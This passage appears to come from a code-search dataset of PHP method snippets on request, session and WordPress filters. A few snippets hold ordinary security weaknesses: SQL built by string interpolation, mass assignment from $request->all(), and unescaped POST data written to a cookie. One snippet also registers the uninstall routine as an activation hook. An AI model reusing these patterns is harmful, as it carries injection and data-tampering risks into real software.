DataAccess::getInstance();\n switch ($this->type) {\n case self::BOOL:\n case self::SCALAR:\n case self::PICKABLE:\n $columns = \"value_scalar\";\n $values = \"?\";\n if ($this->isLeveled()) {\n $data = array($this->value['id']);\n } else {\n $data = array($this->value);\n }\n break;\n case self::RANGE:\n case self::DATE_RANGE:\n $columns = \"value_range_low, value_range_high\";\n $values = \"?,?\";\n $data = array($this->value['low'], $this->value['high']);\n break;\n default:\n //not a defined type\n return false;\n break;\n }\n $session = geoSession::getInstance()->initSession();\n $sql = \"REPLACE INTO \" . geoTables::browsing_filters . \" (session_id, target, category, $columns) VALUES ('$session','{$this->target}','\" . self::getActiveCategory() . \"', $values)\";\n $db->Execute($sql, $data);\n }", "public function register_filters() {\n\t\tadd_filter( 'json_endpoints', array( $this, 'register_routes' ) );\n\t\tadd_filter( 'json_post_type_data', array( $this, 'type_archive_link' ), 10, 2 );\n\t}", "public function store(Request $request)\n {\n $cat_id = $request->get('cat_id');\n $names = $request->get('name');\n $en_names = $request->get('en_name');\n $types = $request->get('type');\n if (is_array($names)){\n foreach ($names as $key => $value){\n $en_name = array_key_exists($key, $en_names) ? $en_names[$key] : '-';\n $type = array_key_exists($key, $types) ? $types[$key] : 1;\n\n Filter::create([\n 'name' => $value,\n 'en_name' => $en_name,\n 'type' => $type,\n 'cat_id' => $cat_id,\n 'parent_id' => 0\n ]);\n\n }\n }\n return redirect(route('filters.create'));\n\n }", "public function store(Request $request)\n {\n\n $requestData = $request->all();\n\n Filter::create($requestData);\n\n return redirect('admin/filters');\n }", "public function collectFilterValues ($save_filters=true )\n\t{\n\t\tparent::collectFilterValues($save_filters);\n\t\tif (!isset($this->page->value)) {\n\t\t\t$this->page->value = 1;\n\t\t}\n\t\tif (!isset($this->listingsLength->value)) {\n\t\t\t$this->listingsLength->value = $this->DEFAULT_PAGE_LEN();\n\t\t}\n\t\tif ($this->next->value==\"\") {\n\t\t\t$this->next->value = \"view\";\n\t\t}\n\t\t$this->gallery->collectFilterValues($save_filters);\n\t}", "function _prepare_filter_data () {\n\t\t// Filter session array name\n\t\t$this->_filter_name\t= $_GET[\"object\"].\"_filter\";\n\t\t// Connect common used arrays\n\t\tif (file_exists(INCLUDE_PATH.\"common_code.php\")) {\n\t\t\tinclude (INCLUDE_PATH.\"common_code.php\");\n\t\t}\n\t\t// Fields in the filter\n\t\t$this->_fields_in_filter = array(\n\t\t\t\"engine\",\n\t\t\t\"text\",\n\t\t);\n\t}", "abstract public function filters();", "function store($fieldFilters = null)\n {\n eZPersistentObject::store();\n }", "public function buildFilters()\n {\n $this->addFilter('name', new ORM\\StringFilterType('name'), 'media.adminlist.configurator.filter.name');\n $this->addFilter('contentType', new ORM\\StringFilterType('contentType'), 'media.adminlist.configurator.filter.type');\n $this->addFilter('updatedAt', new ORM\\NumberFilterType('updatedAt'), 'media.adminlist.configurator.filter.updated_at');\n $this->addFilter('filesize', new ORM\\NumberFilterType('filesize'), 'media.adminlist.configurator.filter.filesize');\n }", "public function global_filtering()\n {\n // filtering $_GET\n if (is_array(ctx()->getRequest()->get()) && ! empty(ctx()->getRequest()->get()))\n {\n foreach (ctx()->getRequest()->get() as $key => $val)\n ctx()->getRequest()->get($this->_clean_input_keys($key) , $this->_clean_input_data($val));\n }\n\n // filtering $_POST\n if (is_array(ctx()->getRequest()->post()) && ! empty(ctx()->getRequest()->post()))\n {\n foreach (ctx()->getRequest()->post() as $key => $val){\n ctx()->getRequest()->post($this->_clean_input_keys($key), $this->_clean_input_data($val));\n }\n }\n\n\n // filtering $_COOKIE\n if (is_array(ctx()->getRequest()->cookie()) && ! empty(ctx()->getRequest()->cookie()))\n {\n foreach (ctx()->getRequest()->cookie() as $key => $val)\n ctx()->getRequest()->cookie($this->_clean_input_keys($key), $this->_clean_input_data($val));\n }\n\n // filtering $_REQUEST\n if (is_array(ctx()->getRequest()->request()) && ! empty(ctx()->getRequest()->request()))\n {\n foreach (ctx()->getRequest()->request() as $key => $val){\n ctx()->getRequest()->request($this->_clean_input_keys($key), $this->_clean_input_data($val));\n }\n }\n }", "public function action_filter()\n\t{\n\t\tif (Input::post()){\n\t\t\tif (Input::post('filter')){\n\n\t\t\t\trequire APPPATH.'likestv.php';\n\n\t\t\t\ttry {\n\n\t\t\t\t// Retrieve profile information since user is logged in\n\t\t\t\t\t$user_profile = $facebook->api('/me');\n\t\t\t\t \n\t\t\t\t \n\t\t\t\t} catch (FacebookApiException $e) {\n\n\t\t\t\t error_log($e);\n\t\t\t\t $user = null;\n\n\t\t\t\t}\n\t\t\t\t$addfilter = Input::post('filter');\n\n\t\t\t\t// Creates database entry to be added to the database\n\t\t\t\t$preference = Model_Preference::forge(array(\n\t\t\t\t\t'username' => $user_profile[\"username\"],\n\t\t\t\t\t'filter' => $addfilter,\n\t\t\t\t));\n\t\t\t\t$preference and $preference->save();\n\t\t\t\t$this->template->title = 'Channel Filter';\n\t\t\t\t$this->template->content = View::forge('channels/filter');\n\t\t\t\tResponse::redirect('channels/');\n\t\t\t}\n\t\t}\n\t\telse{\n\t\t\t// Filter redirects to channels if there is no post\n\t\t\tResponse::redirect('channels/');\n\t\t}\n\t}", "private function makeFilters()\n {\n $this->app->bind('NoAnswer', \\App\\Services\\Filter\\Post\\NoAnswer::class);\n\n $this->app->bind('My', \\App\\Services\\Filter\\Post\\My::class);\n\n $this->app->bind('Popular', \\App\\Services\\Filter\\Post\\Popular::class);\n\n $this->app->bind('Tag', \\App\\Services\\Filter\\Post\\Tag::class);\n }", "public function filters()\n {\n return [\n \n ];\n }", "public function track(array $filters)\n\t{\n\t\t$this->_originals += $filters;\n\t\t\n\t\tforeach ($filters as $key => $default)\n\t\t{\n\t\t\tif (array_key_exists($key, $this->_globals))\n\t\t\t{\n\t\t\t\t$value = $this->_globals[$key];\n\t\t\t\t\n\t\t\t\tif (array_key_exists($key, $this->_filters[$this->_path]) AND $this->_filters[$this->_path][$key] !== $value)\n\t\t\t\t{\n\t\t\t\t\t$this->_changed[$this->_path][$key] = $key;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$this->_filters[$this->_path][$key] = $value;\n\t\t\t}\n\t\t\telseif ( ! array_key_exists($key, $this->_filters[$this->_path]))\n\t\t\t{\n\t\t\t\t// NULL doesn't exist for incoming data, as all params are strings\n\t\t\t\tif ($default === NULL)\n\t\t\t\t{\n\t\t\t\t\t$default = '';\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$this->_filters[$this->_path][$key] = $default;\n\t\t\t}\n\t\t}\n\t\t\n\t\t$this->_save();\n\t\t\n\t\treturn $this;\n\t}", "public function setFilter($filter){ }", "public function getFilters();", "public function setupFilterRules()\n { }", "public function createLiftFilters() {\n $filters = $this->getSettings()->get('filters');\n $filters = $filters ?: [];\n // @todo Use a Filter Entity and FilterManager in the future.\n $client = _as_lift_get_client()->getSlotManager()->getClient();\n foreach ($filters as $uuid => $filter_config) {\n $filter_config['uuid'] = $uuid;\n $filter_config['filter_params']['origins'] = [$this->origin];\n $request = new Request('POST', '/filters', [], json_encode($filter_config));\n $response = $client->send($request);\n $body = (string) $response->getBody();\n $body = json_decode($body, TRUE);\n if ($body) {\n \\Drupal::logger('as_lift')->debug('created Lift Filter \"@name\".', ['@name' => $filter_config['name']]);\n }\n else {\n return FALSE;\n }\n }\n return TRUE;\n }", "function _prepare_filter_data () {\n\t\tif (!$this->USE_FILTER || !in_array($_GET[\"action\"], array(\n\t\t\t\"show\",\n\t\t\t\"clear_filter\",\n\t\t\t\"save_filter\",\n\t\t))) return \"\";\n\t\t// Filter session array name\n\t\t$this->_filter_name\t= $_GET[\"object\"].\"_filter\";\n\t\t// Prepare boxes\n\t\t$this->_boxes = array_merge((array)$this->_boxes, array(\n\t\t\t\"admin_priority\"=> 'select_box(\"admin_priority\",$this->_priorities2,\t$selected, \"\", 2, \"\", false)',\n\t\t\t\"category_id\"\t=> 'select_box(\"category_id\",\t$this->_help_cats2,\t\t$selected, \"\", 2, \"\", false)',\n\t\t\t\"status\"\t\t=> 'select_box(\"status\",\t\t$this->_ticket_statuses2,$selected, \"\", 2, \"\", false)',\n\t\t\t\"sort_by\"\t\t=> 'select_box(\"sort_by\",\t\t$this->_sort_by,\t\t$selected, 0, 2, \"\", false)',\n\t\t\t\"sort_order\"\t=> 'select_box(\"sort_order\",\t$this->_sort_orders,\t$selected, 0, 2, \"\", false)',\n\t\t\t\"per_page\"\t\t=> 'select_box(\"per_page\",\t\t$this->_per_page,\t\t$selected, 0, 2, \"\", 0)',\n\t\t));\n\t\t$this->_priorities2[\" \"]\t= t(\"-- All --\");\n\t\tforeach ((array)$this->_priorities as $k => $v) {\n\t\t\t$this->_priorities2[$k]\t= $v;\n\t\t}\n\t\t$this->_help_cats2[\" \"]\t= t(\"-- All --\");\n\t\tforeach ((array)$this->_help_cats as $k => $v) {\n\t\t\t$this->_help_cats2[$k]\t= $v;\n\t\t}\n\t\t$this->_ticket_statuses2[\" \"]\t= t(\"-- All --\");\n\t\tforeach ((array)$this->_ticket_statuses as $k => $v) {\n\t\t\t$this->_ticket_statuses2[$k]\t= $v;\n\t\t}\n\t\t// Sort orders\n\t\t$this->_sort_orders = array(\"DESC\" => \"Descending\", \"ASC\" => \"Ascending\");\n\t\t// Sort fields\n\t\t$this->_sort_by = array(\n\t\t\t\"\",\n\t\t\t\"id\",\n\t\t\t\"user_id\",\n\t\t\t\"name\",\n\t\t\t\"email\",\n\t\t\t\"status\",\n\t\t\t\"admin_priority\",\n\t\t\t\"assigned_to\",\n\t\t\t\"opened_date\",\n\t\t\t\"closed_date\",\n\t\t);\n\t\t// Fields in the filter\n\t\t$this->_fields_in_filter = array(\n\t\t\t\"user_id\",\n\t\t\t\"subject\",\n\t\t\t\"message\",\n\t\t\t\"account_type\",\n\t\t\t\"email\",\n\t\t\t\"category_id\",\n\t\t\t\"status\",\n\t\t\t\"admin_priority\",\n\t\t\t\"assigned_to\",\n\t\t\t\"sort_by\",\n\t\t\t\"sort_order\",\n\t\t\t\"per_page\",\n\t\t);\n\t\t// Number of records per page\n\t\t$this->_per_page = array(\n\t\t\t50\t=> 50,\n\t\t\t100\t=> 100,\n\t\t\t200\t=> 200,\n\t\t\t500\t=> 500,\n\t\t);\n\t}", "public function store(Request $request, Filter $filter)\n {\n $request->validate([\n 'name' => 'required|unique:filters,name',\n 'alias' => 'required|regex:/^([a-zA-Z]+-?)+$/|unique:filters,alias',\n ]);\n\n if($request->has(['name', 'alias'])) {\n $filter->name = $request->name;\n $filter->alias = $request->alias;\n\n if($request->has('status')) {\n $filter->status = 1;\n }\n $filter->setDate($request->date);\n $filter->save();\n\n if($request->has('elements')) {\n foreach ($request->elements as $element) {\n $portfolio = Portfolio::find((int)$element);\n $filter->portfolioAll()->attach($portfolio);\n }\n }\n\n return redirect()->route('admin.filter_portfolio');\n }\n return back()->withErrors(['inform' => 'Что-то пошло не так. Пожалуйста, повторите попытку.']);\n }", "public function addFilter(callable $filter);", "public function registerFilters()\n {\n foreach ($this->getFilters() as $filter) {\n try {\n $this->smarty->registerFilter($filter->getType(), $filter->getCallback());\n } catch (SmartyException $e) {\n if (null !== $this->logger) {\n $this->logger->warn(sprintf(\"SmartyException caught: %s.\", $e->getMessage()));\n }\n }\n }\n }", "abstract public function addStoreFilter($store, $withAdmin = true);", "function register($metatype, callable $filefilter) {\n\t\tstatic::$filefilters[$metatype] = $filefilter;\n\t}", "function _prepare_filter_data () {\n\t\t// Filter session array name\n\t\t$this->_filter_name\t= $_GET[\"object\"].\"_filter\";\n\t\t// Prepare boxes\n\t\t$this->_boxes = array_merge((array)$this->_boxes, array(\n\t\t\t\"status\"\t\t=> 'select_box(\"status\",\t\t$this->_articles_statuses2,\t$selected, 0, 2, \"\", false)',\n\t\t\t\"account_type\"\t=> 'select_box(\"account_type\",\t$this->_account_types2,\t\t$selected, 0, 2, \"\", false)',\n\t\t\t\"sort_by\"\t\t=> 'select_box(\"sort_by\",\t\t$this->_sort_by,\t\t\t$selected, 0, 2, \"\", false)',\n\t\t\t\"sort_order\"\t=> 'select_box(\"sort_order\",\t$this->_sort_orders,\t\t$selected, 0, 2, \"\", false)',\n\t\t));\n\t\t// Connect common used arrays\n\t\tif (file_exists(INCLUDE_PATH.\"common_code.php\")) {\n\t\t\tinclude (INCLUDE_PATH.\"common_code.php\");\n\t\t}\n\t\t// Get user account type\n\t\t$this->_account_types2[\" \"]\t= t(\"-- All --\");\n\t\tforeach ((array)$this->_account_types as $k => $v) {\n\t\t\t$this->_account_types2[$k]\t= $v;\n\t\t}\n\t\t// Get user account type\n\t\t$this->_articles_statuses2[\" \"]\t= t(\"-- All --\");\n\t\tforeach ((array)$this->_articles_statuses as $k => $v) {\n\t\t\t$this->_articles_statuses2[$k]\t= $v;\n\t\t}\n\t\t// Sort orders\n\t\t$this->_sort_orders = array(\"DESC\" => \"Descending\", \"ASC\" => \"Ascending\");\n\t\t// Sort fields\n\t\t$this->_sort_by = array(\n\t\t\t\"\",\n\t\t\t\"id\",\n\t\t\t\"cat_id\",\n\t\t\t\"user_id\",\n\t\t\t\"add_date\",\n\t\t);\n\t\t// Fields in the filter\n\t\t$this->_fields_in_filter = array(\n\t\t\t\"id_min\",\n\t\t\t\"id_max\",\n\t\t\t\"date_min\",\n\t\t\t\"date_max\",\n\t\t\t\"nick\",\n\t\t\t\"user_id\",\n\t\t\t\"title\",\n\t\t\t\"summary\",\n\t\t\t\"text\",\n\t\t\t\"account_type\",\n\t\t\t\"status\",\n\t\t\t\"cat_id\",\n\t\t\t\"sort_by\",\n\t\t\t\"sort_order\",\n\t\t);\n\t}", "public function addFilter($type, $value);", "public function GetFilters ();", "private function setFilter()\n\t{\n\t\t// get filter values\n\t\t$this->filter['language'] = ($this->getParameter('language', 'array') != '') ? $this->getParameter('language', 'array') : BL::getWorkingLanguage();\n\t\t$this->filter['application'] = $this->getParameter('application');\n\t\t$this->filter['module'] = $this->getParameter('module');\n\t\t$this->filter['type'] = $this->getParameter('type', 'array');\n\t\t$this->filter['name'] = $this->getParameter('name');\n\t\t$this->filter['value'] = $this->getParameter('value');\n\n\t\t// build query for filter\n\t\t$this->filterQuery = BackendLocaleModel::buildURLQueryByFilter($this->filter);\n\t}", "public function add()\n {\n foreach ($this->filters as $filter) {\n call_user_func_array($this->addCallback, $filter);\n }\n }", "public function buildFilters()\n {\n $this->addFilter('name', new ORM\\StringFilterType('name'), 'kuma_menu.menu.adminlist.filter.name');\n }", "function acf_set_filters($filters = array())\n{\n}", "public function addFilters() {\n\t\t\tadd_filter( 'muut_validate_setting', array( $this, 'validateSettings' ), 10, 2 );\n\t\t}", "protected function applyFiltering()\n\t{\n\t\tif (!$this->hasFilters()) return;\n\n\t\tparse_str($this->filters, $list);\n\t\tforeach ($list as $column => $value) {\n\t\t\tif ($value !== '') {\n\t\t\t\t$this[$column]->applyFilter($value);\n\t\t\t}\n\t\t}\n\t}", "function add() {\n $this->wireframe->print_button = false;\n \n if(!AssignmentFilter::canAdd($this->logged_user)) {\n $this->httpError(HTTP_ERR_FORBIDDEN);\n } // if\n \n \t$filter_data = $this->request->post('filter');\n \tif(!is_array($filter_data)) {\n \t $filter_data = array(\n \t 'user_filter' => USER_FILTER_LOGGED_USER,\n \t 'objects_per_page' => 30,\n \t );\n \t} // if\n \t$this->smarty->assign('filter_data', $filter_data);\n \t\n \tif($this->request->isSubmitted()) {\n \t $this->active_filter = new AssignmentFilter();\n \t $this->active_filter->setAttributes($filter_data);\n \t \n \t $save = $this->active_filter->save();\n \t if($save && !is_error($save)) {\n \t flash_success(\"Filter ':name' has been created\", array('name' => $this->active_filter->getName()));\n \t $this->redirectToUrl($this->active_filter->getUrl());\n \t } else {\n \t $this->smarty->assign('errors', $save);\n \t } // if\n \t} // if\n }", "public function store(Request $request)\n {\n\n $data =$request->all();\n //dd($data);\n $filter = new Filter();\n $filter->title = $data['title'];\n $filter->save();\n\n if (isset($data['title_item'])) {\n foreach ($data['title_item'] as $items) {\n $child = new FilterItem();\n $child->title_item = $items;\n $child->filter_id = $filter->id;\n $child->save();\n }\n }\n return redirect('admin/filters');\n }", "protected function _save()\n\t{\n\t\treturn Session::instance()->set(Filter::$session_key, $this->_filters);\n\t}", "public function registerFilters() {\n//\t $this->addFilter('get_avatar', ['Chayka\\\\LinkedIn\\\\LinkedInHelper', 'filterGetLinkedInAvatar'], 10, 3);\n\t $this->addFilter('CommentModel.created', ['Chayka\\\\LinkedIn\\\\LinkedInHelper', 'filterMarkCommentWithLinkedInUserId']);\n\t $this->addFilter('pre_comment_approved', ['Chayka\\\\LinkedIn\\\\LinkedInHelper', 'filterApproveLinkedInUserComment'], 10, 2);\n\t\t/* chayka: registerFilters */\n }", "protected function filter()\n {\n $request = $this->getRequest();\n $session = $request->getSession();\n $filterForm = $this->createForm(new ProductFilterType());\n $em = $this->getDoctrine()->getManager();\n $queryBuilder = $em->getRepository('NiftyThriftyShopBundle:Product')->createQueryBuilder('e')->orderBy('e.productId', 'DESC');\n\n // Reset filter\n if ($request->get('filter_action') == 'reset') {\n $session->remove('ProductControllerFilter');\n }\n\n // Filter action\n if ($request->get('filter_action') == 'filter') {\n // Bind values from the request\n $filterForm->bind($request);\n\n if ($filterForm->isValid()) {\n // Build the query from the given form object\n $this->get('lexik_form_filter.query_builder_updater')->addFilterConditions($filterForm, $queryBuilder);\n // Save filter to session\n $filterData = $filterForm->getData();\n $session->set('ProductControllerFilter', $filterData);\n }\n } else {\n // Get filter from session\n if ($session->has('ProductControllerFilter')) {\n $filterData = $session->get('ProductControllerFilter');\n $filterForm = $this->createForm(new ProductFilterType(), $filterData);\n $this->get('lexik_form_filter.query_builder_updater')->addFilterConditions($filterForm, $queryBuilder);\n }\n }\n\n return array($filterForm, $queryBuilder);\n }", "public function getFilter();", "public function getFilter();", "public function add_filters($filters)\n\t{\n\t\tif (empty($this->filters))\n\t\t{\n\t\t\t$this->filters = $filters;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->filters = array_merge($this->filters, $filters);\n\t\t}\n\t}", "public function applyFilters() {\n\t\tforeach ($this->filters as $filter) {\n\t\t\t$filter->apply($this);\n\t\t}\n\t\t$this->removeFilters();\n\t}", "public function getFilters(): FilterCollection;", "function mongo_node_filters_submit($form, &$form_state) {\n $entity_type = $form_state['values']['entity_type'];\n $filters = mongo_node_filters($entity_type);\n\n $op = strtolower($form_state['input']['op']);\n\n if ($op == 'reset') {\n // Remove all filters.\n unset($_SESSION[$entity_type . '_filters']);\n }\n elseif ($op == 'undo') {\n // Remove last filter.\n array_pop($_SESSION[$entity_type . '_filters']);\n }\n else {\n // Apply filters.\n foreach ($filters as $f_type => $f_val) {\n if (!isset($form_state['values'][$f_type]) || $form_state['values'][$f_type] == 'any') {\n continue;\n }\n $filter = $form_state['values'][$f_type];\n if (!isset($_SESSION[$entity_type . '_filters'])) {\n $_SESSION[$entity_type . '_filters'] = array();\n }\n $exists = FALSE;\n foreach ($_SESSION[$entity_type . '_filters'] as &$app_filter) {\n if ($app_filter['#type'] == $f_type && $app_filter['#value'] == $filter) {\n $exists = TRUE;\n break;\n }\n }\n // Skip filter if already applied.\n if ($exists) {\n continue;\n }\n // Add filter to session.\n $_SESSION[$entity_type . '_filters'][] = array(\n '#type' => $f_type,\n '#value' => $filter,\n );\n }\n }\n}", "public function set_filter(){\n \tsetcookie(\"filter\", addslashes($_POST['filter']), time()+(60*60*24*30), '/');\n }", "public\tfunction\tactionsFiltersHooks() {\n\t\t\t/**\n\t\t\t * Handle actions here.\n\t\t\t */\n\t\t\t\n\t\t\t//If this is not a network admin install.\n\t\t\tif (!is_multisite()) {\n\t\t\t\t//Add an action to implement the administrative menues.\n\t\t\t\tadd_action('admin_menu', array($this, 'adminMenues'));\n\t\t\t} else {\n\t\t\t\t//Add an action to implement the network administrative menues.\n\t\t\t\tadd_action('network_admin_menu', array($this, 'adminMenues'));\n\t\t\t}\n\t\t\t\n\t\t\t//If the user is not logged into the administration panel.\n\t\t\tif (!is_admin()) {\n\t\t\t\t//Add an action to load site related content.\n\t\t\t\tadd_action('after_setup_theme', array($this, 'enqueueSite'), 18);\n\t\t\t}\n\t\t\t\n\t\t\t/**\n\t\t\t * Handle filters here.\n\t\t\t */\n\t\t\t\t\n\t\t\t//Add a filter to run meta content for the plugin.\n\t\t\tadd_filter('plugin_row_meta', array($this, 'meta'), 10, 2);\n\t\t\t\t\n\t\t\t/**\n\t\t\t * Handle hooks here.\n\t\t\t*/\n\t\t\t\t\n\t\t\t//Register an activation hook to install.\n\t\t\tregister_activation_hook(__FILE__, array($this, 'install'));\n\t\t\t\t\n\t\t\t//Register an activation hook to uninstall.\n\t\t\tregister_activation_hook(__FILE__, array($this, 'uninstall'));\n\t\t}", "public function onSearch()\n {\n // get the search form data\n $data = $this->form->getData();\n \n if ($this->formFilters)\n {\n foreach ($this->formFilters as $filterKey => $formFilter)\n {\n $operator = isset($this->operators[$filterKey]) ? $this->operators[$filterKey] : 'like';\n $filterField = isset($this->filterFields[$filterKey]) ? $this->filterFields[$filterKey] : $formFilter;\n $filterFunction = isset($this->filterTransformers[$filterKey]) ? $this->filterTransformers[$filterKey] : null;\n \n // check if the user has filled the form\n if (isset($data->{$formFilter}) AND $data->{$formFilter})\n {\n // $this->filterTransformers\n if ($filterFunction)\n {\n $fieldData = $filterFunction($data->{$formFilter});\n }\n else\n {\n $fieldData = $data->{$formFilter};\n }\n \n // creates a filter using what the user has typed\n if (stristr($operator, 'like'))\n {\n $filter = new TFilter($filterField, $operator, \"%{$fieldData}%\");\n }\n else\n {\n $filter = new TFilter($filterField, $operator, $fieldData);\n }\n \n // stores the filter in the session\n TSession::setValue($this->activeRecord.'_filter', $filter); // BC compatibility\n TSession::setValue($this->activeRecord.'_filter_'.$formFilter, $filter);\n TSession::setValue($this->activeRecord.'_'.$formFilter, $data->{$formFilter});\n }\n else\n {\n TSession::setValue($this->activeRecord.'_filter', NULL); // BC compatibility\n TSession::setValue($this->activeRecord.'_filter_'.$formFilter, NULL);\n TSession::setValue($this->activeRecord.'_'.$formFilter, '');\n }\n }\n }\n \n TSession::setValue($this->activeRecord.'_filter_data', $data);\n TSession::setValue(get_class($this).'_filter_data', $data);\n \n // fill the form with data again\n $this->form->setData($data);\n \n $param=array();\n $param['offset'] =0;\n $param['first_page']=1;\n $this->onReload($param);\n }", "public function handleFilterRequest($filter_request, $filter_name){\n\t\tif(session($filter_name)) $filter = session($filter_name);\n\t\telse $filter = array();\n \n\t\tif(isset($filter_request['reset'])){\n\t\t\tsession::forget($filter_name);\n $filter = array();\n\t\t\t$this->createQuery($filter, false);\n\t\t}\n\t\telse if(isset($filter_request['search'])){\n\t\t\t$this->createQuery($filter_request, true);\n\t\t}\n\t\telse{\n\t\t\t$this->createQuery($filter, false);\n\t\t}\n }", "private function _setupFiltering()\n\t{\n\t\tglobal $txt;\n\n\t\t// We'll escape some strings...\n\t\t$db = database();\n\n\t\t// You can filter by any of the following columns:\n\t\t$filters = array(\n\t\t\t'id_member' => $txt['username'],\n\t\t\t'ip' => $txt['ip_address'],\n\t\t\t'session' => $txt['session'],\n\t\t\t'url' => $txt['error_url'],\n\t\t\t'message' => $txt['error_message'],\n\t\t\t'error_type' => $txt['error_type'],\n\t\t\t'file' => $txt['file'],\n\t\t\t'line' => $txt['line'],\n\t\t);\n\n\t\t$filter = $this->_req->getQuery('filter', 'trim', null);\n\t\t$value = $this->_req->getQuery('value', 'trim', null);\n\n\t\t// Set up the filtering...\n\t\tif (isset($value, $filters[$filter]))\n\t\t{\n\t\t\t$filter = array(\n\t\t\t\t'variable' => $filter,\n\t\t\t\t'value' => array(\n\t\t\t\t\t'sql' => in_array($filter, array('message', 'url', 'file'))\n\t\t\t\t\t\t? base64_decode(strtr($value, array(' ' => '+')))\n\t\t\t\t\t\t: $db->escape_wildcard_string($value),\n\t\t\t\t),\n\t\t\t\t'href' => ['filter' => $filter, 'value' => $value],\n\t\t\t\t'entity' => $filters[$filter]\n\t\t\t);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif (isset($filter, $value))\n\t\t\t{\n\t\t\t\tunset($this->_req->query->filter, $this->_req->query->value);\n\t\t\t}\n\n\t\t\t$filter = [];\n\t\t}\n\n\t\treturn $filter;\n\t}", "protected function handleGetFiltered() {\n\t\t\tif ($this->verifyRequest('GET') && $this->verifyParams()) {\n\t\t\t\textract($this->getResultParams());\n\t\t\t\t\n\t\t\t\t$strFilterBy = $this->objUrl->getFilter('by');\n\t\t\t\t$mxdFilter = str_replace('.' . $this->strFormat, '', $this->objUrl->getSegment(3));\n\t\t\t\t\n\t\t\t\tif ($strFilterBy == 'username') {\n\t\t\t\t\tAppLoader::includeUtility('DataHelper');\n\t\t\t\t\t$mxdFilter = DataHelper::getUserIdByUsername($mxdFilter);\n\t\t\t\t\t$strFilterBy = 'userid';\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif ($strFilterBy == 'userid') {\n\t\t\t\t\t$blnCached = $this->loadFromCache($strNamespace = sprintf(AppConfig::get('UserEventNamespace'), $mxdFilter));\n\t\t\t\t} else {\n\t\t\t\t\t$blnCached = $this->loadFromCache();\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (empty($blnCached)) {\n\t\t\t\t\t$objUserEvent = $this->initModel();\n\t\t\t\t\tswitch ($strFilterBy) {\n\t\t\t\t\t\tcase 'userid':\n\t\t\t\t\t\t\t$blnResult = $objUserEvent->loadByUserId($mxdFilter, $arrFilters, false);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tif ($blnResult) {\n\t\t\t\t\t\t$this->blnSuccess = true;\n\t\t\t\t\t\tif ($objUserEvent->count()) {\n\t\t\t\t\t\t\t$this->arrResult = array(\n\t\t\t\t\t\t\t\t'events' => $this->formatEvents($objUserEvent),\n\t\t\t\t\t\t\t\t'total' => $objUserEvent->count()\n\t\t\t\t\t\t\t);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$this->arrResult = array(\n\t\t\t\t\t\t\t\t'events' => array(),\n\t\t\t\t\t\t\t\t'total' => 0\n\t\t\t\t\t\t\t);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tif (isset($blnCached)) { \n\t\t\t\t\t\t\tif (isset($strNamespace)) {\n\t\t\t\t\t\t\t\t$this->saveToCache($this->intCacheExpire, $strNamespace);\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$this->saveToCache($this->intCacheExpire);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\ttrigger_error(AppLanguage::translate('There was an error loading the event data'));\n\t\t\t\t\t\t$this->error();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$this->error(400);\n\t\t\t}\n\t\t}", "public function applyQueuedFilters()\n {\n foreach ($this->queuedFilters as $filter) {\n $this->filter($filter['className'], $filter['parameters']);\n }\n $this->queuedFilters = array();\n }", "public function addFilterFormInput(): void;", "function _setAllFilters( $objKey )\n {\n $this->_activateFilterLevel($objKey);\n\n // add all pre and post filters, dont use references here, so the filters are each an instance of its own\n // this is necessary since the options might be changed by any xml-config!\n if( sizeof($this->_preFilters) )\n foreach( $this->_preFilters as $aFilter )\n $this->_objectPool[$objKey]->registerPrefilter($aFilter[0],$aFilter[1]);\n if( sizeof($this->_postFilters) )\n foreach( $this->_postFilters as $aFilter )\n $this->_objectPool[$objKey]->registerPostfilter($aFilter[0],$aFilter[1]);\n }", "function acf_get_filters()\n{\n}", "public function filtersExist();", "private function loadFiltersFromQuery(): void\n {\n $request = RequestUtil::getMainRequest($this->requestStack) ?? Request::createFromGlobals();\n $requestFilters = $request->query->all('filter');\n\n if (is_array($requestFilters)) {\n foreach ($requestFilters as $name => $limitations) {\n foreach ($limitations as $comparison => $value) {\n $filterField = new FilterField();\n $filterField->setName($name)\n ->setValue($value)\n ->setComparison($comparison)\n ->setFilter($this->getFilterByName($name));\n\n $this->filterFields[] = $filterField;\n }\n }\n }\n }", "public function _add_incident_filters()\n\t{\n\t\t$params = Event::$data;\n\t\t$params = array_merge($params, $this->params);\n\t\tEvent::$data = $params;\n\t}", "private static function _getFilter() {}", "public function run() {\n\t\tforeach ( $this->filters as $hook ) {\n\t\t\tadd_filter( $hook['hook'], $hook['callback'], $hook['priority'], $hook['accepted_args'] );\n\t\t}\n\n\t\tforeach ( $this->actions as $hook ) {\n\t\t\tadd_action( $hook['hook'], $hook['callback'], $hook['priority'], $hook['accepted_args'] );\n\t\t}\n\t}", "protected function filter()\n {\n $request = $this->getRequest();\n $session = $request->getSession();\n $filterForm = $this->createForm(new ChoferFilterType());\n $em = $this->getDoctrine()->getManager();\n $queryBuilder = $em->getRepository('ChoferesBundle:Chofer')\n ->createQueryBuilder('e')\n ->andWhere('e.estaActivo = TRUE');\n\n // Reset filter\n $session->remove('ChoferControllerFilter');\n\n\n // Filter action\n if ($request->get('filter_action') == 'filter') {\n // Bind values from the request\n $filterForm->bind($request);\n\n if ($filterForm->isValid()) {\n // Build the query from the given form object\n $this->get('lexik_form_filter.query_builder_updater')->addFilterConditions($filterForm, $queryBuilder);\n // Save filter to session\n $filterData = $filterForm->getData();\n $session->set('ChoferControllerFilter', $filterData);\n }\n } else {\n // Get filter from session\n if ($session->has('ChoferControllerFilter')) {\n $filterData = $session->get('ChoferControllerFilter');\n $filterForm = $this->createForm(new ChoferFilterType(), $filterData);\n $this->get('lexik_form_filter.query_builder_updater')->addFilterConditions($filterForm, $queryBuilder);\n }\n }\n\n return array($filterForm, $queryBuilder);\n }", "protected static function PROCESS_FILTERS(string 